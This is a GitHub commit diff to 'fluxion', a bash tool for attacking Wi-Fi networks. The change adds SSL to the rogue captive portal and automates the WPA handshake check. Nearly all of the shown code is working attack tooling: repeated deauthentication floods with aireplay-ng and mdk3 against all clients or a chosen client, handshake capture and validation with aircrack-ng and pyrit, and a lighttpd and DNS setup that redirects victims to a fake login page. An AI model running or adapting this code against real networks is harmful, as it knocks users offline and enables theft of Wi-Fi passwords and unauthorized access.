Fix ssl once again / auto handshake check

- Add ssl support 
- auto handshake check
This commit is contained in:
deltax 2016-09-21 12:27:04 +02:00 committed by GitHub
parent d8f604397d
commit 80ba8db616
1 changed files with 63 additions and 56 deletions

73
fluxion
View File

@ -23,8 +23,8 @@ WORK_DIR=`pwd`
ipNmap=`ifconfig | sed -En 's/127.0.0.1//;s/.*inet (addr:)?(([0-9]*\.){3}[0-9]*).*/\2/p'` ipNmap=`ifconfig | sed -En 's/127.0.0.1//;s/.*inet (addr:)?(([0-9]*\.){3}[0-9]*).*/\2/p'`
# Deauth duration during handshake capture # Deauth duration during handshake capture
# oo # oo
DEAUTHTIME="9999999999999" DEAUTHTIME="15"
revision=53 revision=54
version=0.23 version=0.23
IP=192.168.1.1 IP=192.168.1.1
RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) RANG_IP=$(echo $IP | cut -d "." -f 1,2,3)
@ -1402,7 +1402,7 @@ function askauth {
echo "" echo ""
case $yn in case $yn in
1 ) authmode="handshake"; handshakelocation; break ;; 1 ) authmode="handshake"; handshakelocation; break ;;
2 ) authmode="wpa_supplicant"; webinterface; break ;; 2 ) authmode="wpa_supplicant"; certssl; break ;;
3 ) askAP; break ;; 3 ) askAP; break ;;
* ) echo "$general_case_error"; conditional_clear ;; * ) echo "$general_case_error"; conditional_clear ;;
esac esac
@ -3213,7 +3213,7 @@ function handshakelocation {
if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then
if pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then if pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then
cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap
webinterface certssl
else else
echo "Corrupted handshake" echo "Corrupted handshake"
echo echo
@ -3229,7 +3229,7 @@ function handshakelocation {
else else
if aircrack-ng $handshakeloc | grep -q "1 handshake"; then if aircrack-ng $handshakeloc | grep -q "1 handshake"; then
cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap
webinterface certssl
else else
echo "Corrupted handshake" echo "Corrupted handshake"
sleep 4 sleep 4
@ -3375,33 +3375,21 @@ function deauth {
function deauthMENU { function deauthMENU {
while true; do
conditional_clear conditional_clear
clear clear
top top
echo "$header_deauthMENU " echo "$header_deauthMENU / automatic Handshake check "
echo echo
echo -e "Status handshake: $Handshake_statuscheck" echo -e "Status handshake: $Handshake_statuscheck"
echo echo
echo -e " "$blue"1)"$transparent" $deauthMENU_option_1" echo -e " "$grey"1)"$transparent" $deauthMENU_option_1"
echo -e " "$blue"2)"$transparent" $general_back (Select another deauth method)" echo -e " "$grey"2)"$transparent" $general_back (Select another deauth method)"
echo -e " "$blue"3)"$transparent" Select another network" echo -e " "$grey"3)"$transparent" Select another network"
echo -e " "$blue"4)"$transparent" Exit" echo -e " "$grey"4)"$transparent" Exit"
echo -n ' #> '
read yn
case $yn in
1 ) checkhandshake;;
2 ) conditional_clear; askclientsel; break;;
3 ) killall airodump-ng mdk3 aireplay-ng &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; selection; break ;;
4 ) exitmode; break;;
* ) echo "
$general_case_error"; conditional_clear ;;
esac
done
} }
# Capture all # Capture all
@ -3422,8 +3410,9 @@ function checkhandshake {
if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then
killall airodump-ng mdk3 aireplay-ng &>$flux_output_device killall airodump-ng mdk3 aireplay-ng &>$flux_output_device
wpaclean $HANDSHAKE_PATH/$Host_SSID-$Host_MAC.cap $DUMP_PATH/$Host_MAC-01.cap &>$flux_output_device wpaclean $HANDSHAKE_PATH/$Host_SSID-$Host_MAC.cap $DUMP_PATH/$Host_MAC-01.cap &>$flux_output_device
webinterface certssl
i=2 i=2
y=2
break break
else else
@ -3436,8 +3425,9 @@ function checkhandshake {
if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then
killall airodump-ng mdk3 aireplay-ng &>$flux_output_device killall airodump-ng mdk3 aireplay-ng &>$flux_output_device
pyrit -r $DUMP_PATH/test.cap -o $HANDSHAKE_PATH/$Host_SSID-$Host_MAC.cap strip &>$flux_output_device pyrit -r $DUMP_PATH/test.cap -o $HANDSHAKE_PATH/$Host_SSID-$Host_MAC.cap strip &>$flux_output_device
webinterface certssl
i=2 i=2
y=2
break break
else else
@ -3844,22 +3834,26 @@ mimetype.assign = (
\".css\" => \"text/css\" \".css\" => \"text/css\"
) )
server.error-handler-404 = \"/\" server.error-handler-404 = \"/\"
static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" )
index-file.names = ( \"index.htm\" ) index-file.names = ( \"index.htm\" )
\$SERVER[\"socket\"] == \":443\" {
url.redirect = ( \"^/(.*)\" => \"192.168.1.1\")
ssl.engine = \"enable\"
ssl.pemfile = \"/root/server.pem\"
}
#Redirect www.domain.com to domain.com #Redirect www.domain.com to domain.com
\$HTTP[\"host\"] =~ \"^www\.(.*)$\" { \$HTTP[\"host\"] =~ \"^www\.(.*)$\" {
url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" ) url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" )
ssl.engine = \"enable\"
ssl.pemfile = \"/root/server.pem\"
} }
" >$DUMP_PATH/lighttpd.conf " >$DUMP_PATH/lighttpd.conf
# that redirects all DNS requests to the gateway # that redirects all DNS requests to the gateway
echo "import socket echo "import socket
@ -4185,25 +4179,38 @@ function handshakecheck {
############################################## < STUFF > ############################################ ############################################## < STUFF > ############################################
y=1
# Deauth all # Deauth all
function deauthall { function deauthall {
while true; do
deauthMENU
xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $Host_SSID" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR & xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $Host_SSID" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR &
sleep 15
checkhandshake
done
} }
function deauthmdk3 {
function deauthmdk3 {
while true; do
deauthMENU
echo "$Host_MAC" >$DUMP_PATH/mdk3.txt echo "$Host_MAC" >$DUMP_PATH/mdk3.txt
xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating via mdk3 all clients on $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating via mdk3 all clients on $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN &
mdk3PID=$! mdk3PID=$!
sleep 15
checkhandshake
done
} }
# Deauth to a specific target # Deauth to a specific target
function deauthesp { function deauthesp {
while true;do
deauthMENU
sleep 2 sleep 2
xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating client $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR & xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating client $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR &
sleep 15
checkhandshake
done
} }
# Close all processes # Close all processes